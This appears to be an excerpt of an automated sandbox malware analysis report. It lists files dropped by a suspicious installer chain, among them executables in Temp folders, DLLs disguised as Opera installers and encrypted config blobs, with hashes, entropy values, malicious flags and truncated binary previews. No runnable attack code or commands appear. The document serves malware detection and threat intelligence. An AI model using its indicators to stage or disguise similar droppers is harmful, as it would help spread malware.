                                                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........W..s...s...s...}...s...y..s...,...s...r.!.s.......s...x..s.......s.......s.^.u...s.Rich..s.........PE..L....S.L.............................K............@.............................................................................d....p..`............................................................................................................text.............................. ..`.rdata...D.......F..................@..@.data...HZ.......2..................@....sxdata......`......................@....rsrc...`....p......................@..@................................................................................................................................................................................................................................................................................................................................

                                                                                                        C:\Users\user\AppData\Local\Temp\7zSCD80.tmp\__data__\config.txt

                                                                                                        Download File
                                                                                                        Process:C:\Users\user\Pictures\AdivwWrpQRED15lxH0DgRVgj.exe
                                                                                                        File Type:data
                                                                                                        Category:dropped
                                                                                                        Size (bytes):1078321
                                                                                                        Entropy (8bit):7.999843998815412
                                                                                                        Encrypted:true
                                                                                                        SSDEEP:24576:2NDd57vvD4z8+3/ozewW8Zkd/6nB9cr5oC5jL4:2xv8/oz7vkiB9creqL4
                                                                                                        MD5:4997C875C476562B67C0D4C4A136842A
                                                                                                        SHA1:6503E8C684FBB0A4649D87A7A01E8EFAC31D620E
                                                                                                        SHA-256:2B0E6D5163DCBAC4F225F26F0B2FCCEAE22D5C9E54438FC1D4BD901866DD1D81
                                                                                                        SHA-512:9D37CB1C72C3D40B61005EE4CDFC453DC4090C98AABFCAE8605CDBC912AA4E9579D56495A895C3541DCE4F355EC6E26869A90A14A22C6EC836D485BB665D9464
                                                                                                        Malicious:true
                                                                                                        Reputation:unknown
                                                                                                        Preview:...`..g...........4z...u..M.b:...K.fA.beL='...u.....-......jsTD0B/-.....,..2{.......E.#B7.W..../go.m......t.....D...x.'..(A.s.JF..`/.......CW.\!oH...Y.t..K...f...^.Y.@..:.Te0...m..<.k..N.8.'A..v..PX.}T....U.}^o...}....S..v..*KT..t.zV.TB..~.!..B.DvAv.AP?..&.:%m..}.).@2.M....0.q..0W}....{L...... d../.,.....%...a&...;..%.e..w.E.8.*a&.h.G...s...g.)....-..L."$9x.Z........{IA:z.\3.9.J...[.^..b.....A.)_....lU....+|.*-.pI.].J.....G .,....D....N.Fb..(..a.`.0.f.dK.F...0Gf.*.[.d!.2.g.yt.........b.DF.<.i.9t%>...]...d...q-P.-..K,.#..o.{.$u..CS+.{.ao..vl...#F.......|1tm.].~..9s..*.A...j.H.M.Il......z....V..L}zZ..>.}.nCk1<Y}.p.L..W...Y.G.O.?..W^.O...o.. .eC...p..>H..-..8...6...+..rS.3.B.?...K5?g-f[.....~1..>kW.o.6...i....bG....PeU4M.g...G.Y#.c.....b.SP0....t-.2.|..8.}X.F..y.)...o...G....:\c..kk..v..._.........Z..6..s.X.......$8..Gi.d$........r....O.."O...Q....{x.....K.l.6.7....{........q..Z.vK..uOH.#.Z.{..!4@.o!.&...../P.s.,.....K.....%..b..

                                                                                                        C:\Users\user\AppData\Local\Temp\7zSD456.tmp\Install.exe

                                                                                                        Download File
                                                                                                        Process:C:\Users\user\AppData\Local\Temp\7zSCD80.tmp\Install.exe
                                                                                                        File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                                                        Category:dropped
                                                                                                        Size (bytes):7257600
                                                                                                        Entropy (8bit):7.440219364896932
                                                                                                        Encrypted:false
                                                                                                        SSDEEP:196608:CNsJA0QbUplMXk/td4xhpNsiV+CDpkpE7Cu:CNvgWQd4PpNnlGI
                                                                                                        MD5:24A387FDA6E0F36F9AF44D65487C5F5B
                                                                                                        SHA1:A2E4DDFCE98B2936DA2D1BC0D9F51F49D4C3C970
                                                                                                        SHA-256:B1A7EC17BF00D0D8D15ADEB1F9D9DE29404841B9F6C1DF3F356F5255BAF18FFB
                                                                                                        SHA-512:F4FB7D8C5033BF49F844395180DD52012FDFD67DEEA344BD46D7D99E9EA9552994B7DAEF5CDF83530A91D6CAC53EBC06A25F945BEAA7172BF3AF5F0E02148A61
                                                                                                        Malicious:true
                                                                                                        Reputation:unknown
                                                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$............v...v...v.......v.......v.....9.v.[.....v...w...v.3s....v.3s....v.3s....v.Rich..v.........PE..L......_......................b..............0....@...........................o.....I.o...@...........................n......%n.......n......................pn.tt..................................(.l.@............ n..............................text...W........................... ..`.info........ ...................... ....data.....a..0....a.................@....idata...#... n..$....m.............@..@.info........Pn.......n.............@....reloc..tt...pn..v...<n.............@..B.rsrc.........n.......n.............@..@........................................................................................................................................................................................................................................................

                                                                                                        C:\Users\user\AppData\Local\Temp\7zSD77.tmp\Install.exe

                                                                                                        Download File
                                                                                                        Process:C:\Users\user\Pictures\jmqKcbM6AONnRhvOZmBZdvm3.exe
                                                                                                        File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                                                        Category:dropped
                                                                                                        Size (bytes):6398488
                                                                                                        Entropy (8bit):7.995784783842997
                                                                                                        Encrypted:true
                                                                                                        SSDEEP:98304:91OZoLr5hWGs2O71dkYKJO5+XDaqGf1r1tCzKgvm2cAJg105cEGDzm91U:91OiL6P2qjKjXDK/ozvtfem5Cmg
                                                                                                        MD5:2CAFB9685610BFF31960C959887426AA
                                                                                                        SHA1:A980A387635E7820DD2AF9CF2BB94E190B7545D6
                                                                                                        SHA-256:4A5CE0CC849CE8AEB1E6580E610FF413AAC0A596ACB29C05BC81755C0E926A8C
                                                                                                        SHA-512:A4538A230A88D47DFA4AD06C4AE0686A7D5BE7177D324CEBC9759BA02BFF90EDDE410EC4F6BD4A6FDBC7A5A962BB415EEB0F92A2B412ABC8485BD2B2F4712635
                                                                                                        Malicious:true
                                                                                                        Reputation:unknown
                                                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........W..s...s...s...}...s...y..s...,...s...r.!.s.......s...x..s.......s.......s.^.u...s.Rich..s.........PE..L....S.L.............................K............@.............................................................................d....p..`............................................................................................................text.............................. ..`.rdata...D.......F..................@..@.data...HZ.......2..................@....sxdata......`......................@....rsrc...`....p......................@..@................................................................................................................................................................................................................................................................................................................................

                                                                                                        C:\Users\user\AppData\Local\Temp\7zSD77.tmp\__data__\config.txt

                                                                                                        Download File
                                                                                                        Process:C:\Users\user\Pictures\jmqKcbM6AONnRhvOZmBZdvm3.exe
                                                                                                        File Type:data
                                                                                                        Category:dropped
                                                                                                        Size (bytes):1078321
                                                                                                        Entropy (8bit):7.999843998815412
                                                                                                        Encrypted:true
                                                                                                        SSDEEP:24576:2NDd57vvD4z8+3/ozewW8Zkd/6nB9cr5oC5jL4:2xv8/oz7vkiB9creqL4
                                                                                                        MD5:4997C875C476562B67C0D4C4A136842A
                                                                                                        SHA1:6503E8C684FBB0A4649D87A7A01E8EFAC31D620E
                                                                                                        SHA-256:2B0E6D5163DCBAC4F225F26F0B2FCCEAE22D5C9E54438FC1D4BD901866DD1D81
                                                                                                        SHA-512:9D37CB1C72C3D40B61005EE4CDFC453DC4090C98AABFCAE8605CDBC912AA4E9579D56495A895C3541DCE4F355EC6E26869A90A14A22C6EC836D485BB665D9464
                                                                                                        Malicious:true
                                                                                                        Reputation:unknown
                                                                                                        Preview:...`..g...........4z...u..M.b:...K.fA.beL='...u.....-......jsTD0B/-.....,..2{.......E.#B7.W..../go.m......t.....D...x.'..(A.s.JF..`/.......CW.\!oH...Y.t..K...f...^.Y.@..:.Te0...m..<.k..N.8.'A..v..PX.}T....U.}^o...}....S..v..*KT..t.zV.TB..~.!..B.DvAv.AP?..&.:%m..}.).@2.M....0.q..0W}....{L...... d../.,.....%...a&...;..%.e..w.E.8.*a&.h.G...s...g.)....-..L."$9x.Z........{IA:z.\3.9.J...[.^..b.....A.)_....lU....+|.*-.pI.].J.....G .,....D....N.Fb..(..a.`.0.f.dK.F...0Gf.*.[.d!.2.g.yt.........b.DF.<.i.9t%>...]...d...q-P.-..K,.#..o.{.$u..CS+.{.ao..vl...#F.......|1tm.].~..9s..*.A...j.H.M.Il......z....V..L}zZ..>.}.nCk1<Y}.p.L..W...Y.G.O.?..W^.O...o.. .eC...p..>H..-..8...6...+..rS.3.B.?...K5?g-f[.....~1..>kW.o.6...i....bG....PeU4M.g...G.Y#.c.....b.SP0....t-.2.|..8.}X.F..y.)...o...G....:\c..kk..v..._.........Z..6..s.X.......$8..Gi.d$........r....O.."O...Q....{x.....K.l.6.7....{........q..Z.vK..uOH.#.Z.{..!4@.o!.&...../P.s.,.....K.....%..b..

                                                                                                        C:\Users\user\AppData\Local\Temp\HMvTITvwCIIOPWHKa\dvQXzghxGoSBWXp\flBIeyQ.exe

                                                                                                        Download File
                                                                                                        Process:C:\Users\user\AppData\Local\Temp\7zSD456.tmp\Install.exe
                                                                                                        File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                                                        Category:dropped
                                                                                                        Size (bytes):7257600
                                                                                                        Entropy (8bit):7.440219364896932
                                                                                                        Encrypted:false
                                                                                                        SSDEEP:196608:CNsJA0QbUplMXk/td4xhpNsiV+CDpkpE7Cu:CNvgWQd4PpNnlGI
                                                                                                        MD5:24A387FDA6E0F36F9AF44D65487C5F5B
                                                                                                        SHA1:A2E4DDFCE98B2936DA2D1BC0D9F51F49D4C3C970
                                                                                                        SHA-256:B1A7EC17BF00D0D8D15ADEB1F9D9DE29404841B9F6C1DF3F356F5255BAF18FFB
                                                                                                        SHA-512:F4FB7D8C5033BF49F844395180DD52012FDFD67DEEA344BD46D7D99E9EA9552994B7DAEF5CDF83530A91D6CAC53EBC06A25F945BEAA7172BF3AF5F0E02148A61
                                                                                                        Malicious:true
                                                                                                        Reputation:unknown
                                                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$............v...v...v.......v.......v.....9.v.[.....v...w...v.3s....v.3s....v.3s....v.Rich..v.........PE..L......_......................b..............0....@...........................o.....I.o...@...........................n......%n.......n......................pn.tt..................................(.l.@............ n..............................text...W........................... ..`.info........ ...................... ....data.....a..0....a.................@....idata...#... n..$....m.............@..@.info........Pn.......n.............@....reloc..tt...pn..v...<n.............@..B.rsrc.........n.......n.............@..@........................................................................................................................................................................................................................................................

                                                                                                        C:\Users\user\AppData\Local\Temp\Opera_installer_2311211412299612284.dll

                                                                                                        Download File
                                                                                                        Process:C:\Users\user\Pictures\r1O81gOTKkD0PfSdUigHGcl2.exe
                                                                                                        File Type:PE32 executable (DLL) (console) Intel 80386, for MS Windows
                                                                                                        Category:dropped
                                                                                                        Size (bytes):4805536
                                                                                                        Entropy (8bit):6.875913852962176
                                                                                                        Encrypted:false
                                                                                                        SSDEEP:98304:Q6666666666666666666666666666666x666666666666666fwwwwwwwwwwwwwwr:/WFzeft2SyBg7VqV7/l6iFCfjm+HUWXo
                                                                                                        MD5:161C755621AA80426D48315D27BC8DAA
                                                                                                        SHA1:C17FED1E315395B38474842D3353663066B250C5
                                                                                                        SHA-256:6A17694A9428CB7EBCF1B7803E236AB76A557D4C041A5F7F229D6BAB87B2C89B
                                                                                                        SHA-512:5DBA00756F973ECDDD0994C4AF9779F26AEC7F8F2B4F890532FBA3CBB0A1E37FBC791BF8FBCA047C4F3DBAA984AE78E2D4623686B83E6387741DB959D36C22BF
                                                                                                        Malicious:true
                                                                                                        Reputation:unknown
                                                                                                        Preview:MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L...;qVe.........."!......2..V.......!&.......................................J.......I...@A.........................~:.m...[.:.......<..=...........*I..)...0I....\B:......................A:.......2...............:.0....}:.`....................text...(.2.......2................. ..`.rdata........2.......2.............@..@.data...x.....:..L....:.............@....00cfg........<......*;.............@..@.rodata.X.....<......,;............. ..`.tls....Y.....<.......;.............@...CPADinfo0.....<......0;.............@...malloc_h......<......2;............. ..`.rsrc....=....<..>...4;.............@..@.reloc......0I......rG.............@..B........................................................................................................................................................................................................................................

                                                                                                        C:\Users\user\AppData\Local\Temp\Opera_installer_2311211412307813128.dll

                                                                                                        Download File
                                                                                                        Process:C:\Users\user\Pictures\r1O81gOTKkD0PfSdUigHGcl2.exe
                                                                                                        File Type:PE32 executable (DLL) (console) Intel 80386, for MS Windows
                                                                                                        Category:dropped
                                                                                                        Size (bytes):4805536
                                                                                                        Entropy (8bit):6.875913852962176
                                                                                                        Encrypted:false
                                                                                                        SSDEEP:98304:Q6666666666666666666666666666666x666666666666666fwwwwwwwwwwwwwwr:/WFzeft2SyBg7VqV7/l6iFCfjm+HUWXo
                                                                                                        MD5:161C755621AA80426D48315D27BC8DAA
                                                                                                        SHA1:C17FED1E315395B38474842D3353663066B250C5
                                                                                                        SHA-256:6A17694A9428CB7EBCF1B7803E236AB76A557D4C041A5F7F229D6BAB87B2C89B
                                                                                                        SHA-512:5DBA00756F973ECDDD0994C4AF9779F26AEC7F8F2B4F890532FBA3CBB0A1E37FBC791BF8FBCA047C4F3DBAA984AE78E2D4623686B83E6387741DB959D36C22BF
                                                                                                        Malicious:true
                                                                                                        Reputation:unknown
                                                                                                        Preview:MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L...;qVe.........."!......2..V.......!&.......................................J.......I...@A.........................~:.m...[.:.......<..=...........*I..)...0I....\B:......................A:.......2...............:.0....}:.`....................text...(.2.......2................. ..`.rdata........2.......2.............@..@.data...x.....:..L....:.............@....00cfg........<......*;.............@..@.rodata.X.....<......,;............. ..`.tls....Y.....<.......;.............@...CPADinfo0.....<......0;.............@...malloc_h......<......2;............. ..`.rsrc....=....<..>...4;.............@..@.reloc......0I......rG.............@..B........................................................................................................................................................................................................................................

                                                                                                        C:\Users\user\AppData\Local\Temp\Opera_installer_2311211412316924080.dll

                                                                                                        Download File
                                                                                                        Process:C:\Users\user\AppData\Local\Temp\.opera\Opera Installer Temp\r1O81gOTKkD0PfSdUigHGcl2.exe
                                                                                                        File Type:PE32 executable (DLL) (console) Intel 80386, for MS Windows
                                                                                                        Category:dropped
                                                                                                        Size (bytes):4805536
                                                                                                        Entropy (8bit):6.875913852962176
                                                                                                        Encrypted:false
                                                                                                        SSDEEP:98304:Q6666666666666666666666666666666x666666666666666fwwwwwwwwwwwwwwr:/WFzeft2SyBg7VqV7/l6iFCfjm+HUWXo
                                                                                                        MD5:161C755621AA80426D48315D27BC8DAA
                                                                                                        SHA1:C17FED1E315395B38474842D3353663066B250C5
                                                                                                        SHA-256:6A17694A9428CB7EBCF1B7803E236AB76A557D4C041A5F7F229D6BAB87B2C89B
                                                                                                        SHA-512:5DBA00756F973ECDDD0994C4AF9779F26AEC7F8F2B4F890532FBA3CBB0A1E37FBC791BF8FBCA047C4F3DBAA984AE78E2D4623686B83E6387741DB959D36C22BF
                                                                                                        Malicious:true
                                                                                                        Reputation:unknown
                                                                                                        Preview:MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L...;qVe.........."!......2..V.......!&.......................................J.......I...@A.........................~:.m...[.:.......<..=...........*I..)...0I....\B:......................A:.......2...............:.0....}:.`....................text...(.2.......2................. ..`.rdata........2.......2.............@..@.data...x.....:..L....:.............@....00cfg........<......*;.............@..@.rodata.X.....<......,;............. ..`.tls....Y.....<.......;.............@...CPADinfo0.....<......0;.............@...malloc_h......<......2;............. ..`.rsrc....=....<..>...4;.............@..@.reloc......0I......rG.............@..B........................................................................................................................................................................................................................................

                                                                                                        C:\Users\user\AppData\Local\Temp\Opera_installer_2311211412344515864.dll

                                                                                                        Download File
                                                                                                        Process:C:\Users\user\Pictures\r1O81gOTKkD0PfSdUigHGcl2.exe
                                                                                                        File Type:PE32 executable (DLL) (console) Intel 80386, for MS Windows
                                                                                                        Category:dropped
                                                                                                        Size (bytes):4805536
                                                                                                        Entropy (8bit):6.875913852962176
                                                                                                        Encrypted:false
                                                                                                        SSDEEP:98304:Q6666666666666666666666666666666x666666666666666fwwwwwwwwwwwwwwr:/WFzeft2SyBg7VqV7/l6iFCfjm+HUWXo
                                                                                                        MD5:161C755621AA80426D48315D27BC8DAA
                                                                                                        SHA1:C17FED1E315395B38474842D3353663066B250C5
                                                                                                        SHA-256:6A17694A9428CB7EBCF1B7803E236AB76A557D4C041A5F7F229D6BAB87B2C89B
                                                                                                        SHA-512:5DBA00756F973ECDDD0994C4AF9779F26AEC7F8F2B4F890532FBA3CBB0A1E37FBC791BF8FBCA047C4F3DBAA984AE78E2D4623686B83E6387741DB959D36C22BF
                                                                                                        Malicious:true
                                                                                                        Reputation:unknown
                                                                                                        Preview:MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L...;qVe.........."!......2..V.......!&.......................................J.......I...@A.........................~:.m...[.:.......<..=...........*I..)...0I....\B:......................A:.......2...............:.0....}:.`....................text...(.2.......2................. ..`.rdata........2.......2.............@..@.data...x.....:..L....:.............@....00cfg........<......*;.............@..@.rodata.X.....<......,;............. ..`.tls....Y.....<.......;.............@...CPADinfo0.....<......0;.............@...malloc_h......<......2;............. ..`.rsrc....=....<..>...4;.............@..@.reloc......0I......rG.............@..B........................................................................................................................................................................................................................................

                                                                                                        C:\Users\user\AppData\Local\Temp\Opera_installer_2311211412373835848.dll

                                                                                                        Download File
                                                                                                        Process:C:\Users\user\Pictures\r1O81gOTKkD0PfSdUigHGcl2.exe
                                                                                                        File Type:PE32 executable (DLL) (console) Intel 80386, for MS Windows
                                                                                                        Category:dropped
                                                                                                        Size (bytes):4805536
                                                                                                        Entropy (8bit):6.875913852962176
                                                                                                        Encrypted:false
                                                                                                        SSDEEP:98304:Q6666666666666666666666666666666x666666666666666fwwwwwwwwwwwwwwr:/WFzeft2SyBg7VqV7/l6iFCfjm+HUWXo
                                                                                                        MD5:161C755621AA80426D48315D27BC8DAA
                                                                                                        SHA1:C17FED1E315395B38474842D3353663066B250C5
                                                                                                        SHA-256:6A17694A9428CB7EBCF1B7803E236AB76A557D4C041A5F7F229D6BAB87B2C89B
                                                                                                        SHA-512:5DBA00756F973ECDDD0994C4AF9779F26AEC7F8F2B4F890532FBA3CBB0A1E37FBC791BF8FBCA047C4F3DBAA984AE78E2D4623686B83E6387741DB959D36C22BF
                                                                                                        Malicious:true
                                                                                                        Reputation:unknown
                                                                                                        Preview:MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L...;qVe.........."!......2..V.......!&.......................................J.......I...@A.........................~:.m...[.:.......<..=...........*I..)...0I....\B:......................A:.......2...............:.0....}:.`....................text...(.2.......2................. ..`.rdata........2.......2.............@..@.data...x.....:..L....:.............@....00cfg........<......*;.............@..@.rodata.X.....<......,;............. ..`.tls....Y.....<.......;.............@...CPADinfo0.....<......0;.............@...malloc_h......<......2;............. ..`.rsrc....=....<..>...4;.............@..@.reloc......0I......rG.............@..B........................................................................................................................................................................................................................................

                                                                                                        C:\Users\user\AppData\Local\Temp\Opera_installer_2311211412517277356.dll

                                                                                                        Download File
                                                                                                        Process:C:\Users\user\Pictures\OPqTdTFbxWlK6znimRD995XD.exe
                                                                                                        File Type:PE32 executable (DLL) (console) Intel 80386, for MS Windows
                                                                                                        Category:dropped
                                                                                                        Size (bytes):4805536
                                                                                                        Entropy (8bit):6.875913852962176
                                                                                                        Encrypted:false
                                                                                                        SSDEEP:98304:Q6666666666666666666666666666666x666666666666666fwwwwwwwwwwwwwwr:/WFzeft2SyBg7VqV7/l6iFCfjm+HUWXo
                                                                                                        MD5:161C755621AA80426D48315D27BC8DAA
                                                                                                        SHA1:C17FED1E315395B38474842D3353663066B250C5
                                                                                                        SHA-256:6A17694A9428CB7EBCF1B7803E236AB76A557D4C041A5F7F229D6BAB87B2C89B
                                                                                                        SHA-512:5DBA00756F973ECDDD0994C4AF9779F26AEC7F8F2B4F890532FBA3CBB0A1E37FBC791BF8FBCA047C4F3DBAA984AE78E2D4623686B83E6387741DB959D36C22BF
                                                                                                        Malicious:true
                                                                                                        Reputation:unknown
                                                                                                        Preview:MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L...;qVe.........."!......2..V.......!&.......................................J.......I...@A.........................~:.m...[.:.......<..=...........*I..)...0I....\B:......................A:.......2...............:.0....}:.`....................text...(.2.......2................. ..`.rdata........2.......2.............@..@.data...x.....:..L....:.............@....00cfg........<......*;.............@..@.rodata.X.....<......,;............. ..`.tls....Y.....<.......;.............@...CPADinfo0.....<......0;.............@...malloc_h......<......2;............. ..`.rsrc....=....<..>...4;.............@..@.reloc......0I......rG.............@..B........................................................................................................................................................................................................................................

                                                                                                        C:\Users\user\AppData\Local\Temp\Opera_installer_2311211412549847716.dll

                                                                                                        Download File
                                                                                                        Process:C:\Users\user\Pictures\OPqTdTFbxWlK6znimRD995XD.exe
                                                                                                        File Type:PE32 executable (DLL) (console) Intel 80386, for MS Windows
                                                                                                        Category:dropped
                                                                                                        Size (bytes):4805536
                                                                                                        Entropy (8bit):6.875913852962176
                                                                                                        Encrypted:false
                                                                                                        SSDEEP:98304:Q6666666666666666666666666666666x666666666666666fwwwwwwwwwwwwwwr:/WFzeft2SyBg7VqV7/l6iFCfjm+HUWXo
                                                                                                        MD5:161C755621AA80426D48315D27BC8DAA
                                                                                                        SHA1:C17FED1E315395B38474842D3353663066B250C5
                                                                                                        SHA-256:6A17694A9428CB7EBCF1B7803E236AB76A557D4C041A5F7F229D6BAB87B2C89B
                                                                                                        SHA-512:5DBA00756F973ECDDD0994C4AF9779F26AEC7F8F2B4F890532FBA3CBB0A1E37FBC791BF8FBCA047C4F3DBAA984AE78E2D4623686B83E6387741DB959D36C22BF
                                                                                                        Malicious:true
                                                                                                        Reputation:unknown
                                                                                                        Preview:MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L...;qVe.........."!......2..V.......!&.......................................J.......I...@A.........................~:.m...[.:.......<..=...........*I..)...0I....\B:......................A:.......2...............:.0....}:.`....................text...(.2.......2................. ..`.rdata........2.......2.............@..@.data...x.....:..L....:.............@....00cfg........<......*;.............@..@.rodata.X.....<......,;............. ..`.tls....Y.....<.......;.............@...CPADinfo0.....<......0;.............@...malloc_h......<......2;............. ..`.rsrc....=....<..>...4;.............@..@.reloc......0I......rG.............@..B........................................................................................................................................................................................................................................

                                                                                                        C:\Users\user\AppData\Local\Temp\Opera_installer_2311211413039667704.dll

                                                                                                        Download File
                                                                                                        Process:C:\Users\user\Pictures\LnQdFAFVk46H7elzEZZ3Xdvx.exe
                                                                                                        File Type:PE32 executable (DLL) (console) Intel 80386, for MS Windows
                                                                                                        Category:dropped
                                                                                                        Size (bytes):4805536
                                                                                                        Entropy (8bit):6.875913852962176
                                                                                                        Encrypted:false
                                                                                                        SSDEEP:98304:Q6666666666666666666666666666666x666666666666666fwwwwwwwwwwwwwwr:/WFzeft2SyBg7VqV7/l6iFCfjm+HUWXo
                                                                                                        MD5:161C755621AA80426D48315D27BC8DAA
                                                                                                        SHA1:C17FED1E315395B38474842D3353663066B250C5
                                                                                                        SHA-256:6A17694A9428CB7EBCF1B7803E236AB76A557D4C041A5F7F229D6BAB87B2C89B
                                                                                                        SHA-512:5DBA00756F973ECDDD0994C4AF9779F26AEC7F8F2B4F890532FBA3CBB0A1E37FBC791BF8FBCA047C4F3DBAA984AE78E2D4623686B83E6387741DB959D36C22BF
                                                                                                        Malicious:true
                                                                                                        Reputation:unknown
                                                                                                        Preview:MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L...;qVe.........."!......2..V.......!&.......................................J.......I...@A.........................~:.m...[.:.......<..=...........*I..)...0I....\B:......................A:.......2...............:.0....}:.`....................text...(.2.......2................. ..`.rdata........2.......2.............@..@.data...x.....:..L....:.............@....00cfg........<......*;.............@..@.rodata.X.....<......,;............. ..`.tls....Y.....<.......;.............@...CPADinfo0.....<......0;.............@...malloc_h......<......2;............. ..`.rsrc....=....<..>...4;.............@..@.reloc......0I......rG.............@..B........................................................................................................................................................................................................................................

                                                                                                        C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_2ttloxfp.xlr.ps1

                                                                                                        Download File
                                                                                                        Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                        File Type:ASCII text, with no line terminators
                                                                                                        Category:dropped
                                                                                                        Size (bytes):60
                                                                                                        Entropy (8bit):4.038920595031593
                                                                                                        Encrypted:false
                                                                                                        SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                        MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                        SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                        SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                        SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                        Malicious:false
                                                                                                        Reputation:unknown
                                                                                                        Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                        C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_d1vpg23r.qcv.psm1

                                                                                                        Download File
                                                                                                        Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                        File Type:ASCII text, with no line terminators
                                                                                                        Category:dropped
                                                                                                        Size (bytes):60
                                                                                                        Entropy (8bit):4.038920595031593
                                                                                                        Encrypted:false
                                                                                                        SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                        MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                        SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                        SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                        SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                        Malicious:false
                                                                                                        Reputation:unknown
                                                                                                        Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                        C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_e3hico2b.irg.psm1

                                                                                                        Download File
                                                                                                        Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                        File Type:ASCII text, with no line terminators
                                                                                                        Category:dropped
                                                                                                        Size (bytes):60
                                                                                                        Entropy (8bit):4.038920595031593
                                                                                                        Encrypted:false
                                                                                                        SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                        MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                        SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                        SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                        SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                        Malicious:false
                                                                                                        Reputation:unknown
                                                                                                        Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                        C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ggp145b4.cbp.ps1

                                                                                                        Download File
                                                                                                        Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                        File Type:ASCII text, with no line terminators
                                                                                                        Category:dropped
                                                                                                        Size (bytes):60
                                                                                                        Entropy (8bit):4.038920595031593
                                                                                                        Encrypted:false
                                                                                                        SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                        MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                        SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                        SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                        SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                        Malicious:false
                                                                                                        Reputation:unknown
                                                                                                        Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                        C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_iupcjf2e.q33.psm1

                                                                                                        Download File
                                                                                                        Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                        File Type:ASCII text, with no line terminators
                                                                                                        Category:dropped
                                                                                                        Size (bytes):60
                                                                                                        Entropy (8bit):4.038920595031593
                                                                                                        Encrypted:false
                                                                                                        SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                        MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                        SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                        SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                        SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                        Malicious:false
                                                                                                        Reputation:unknown
                                                                                                        Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                        C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_qh42kobp.g3t.ps1

                                                                                                        Download File
                                                                                                        Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                        File Type:ASCII text, with no line terminators
                                                                                                        Category:dropped
                                                                                                        Size (bytes):60
                                                                                                        Entropy (8bit):4.038920595031593
                                                                                                        Encrypted:false
                                                                                                        SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                        MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                        SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
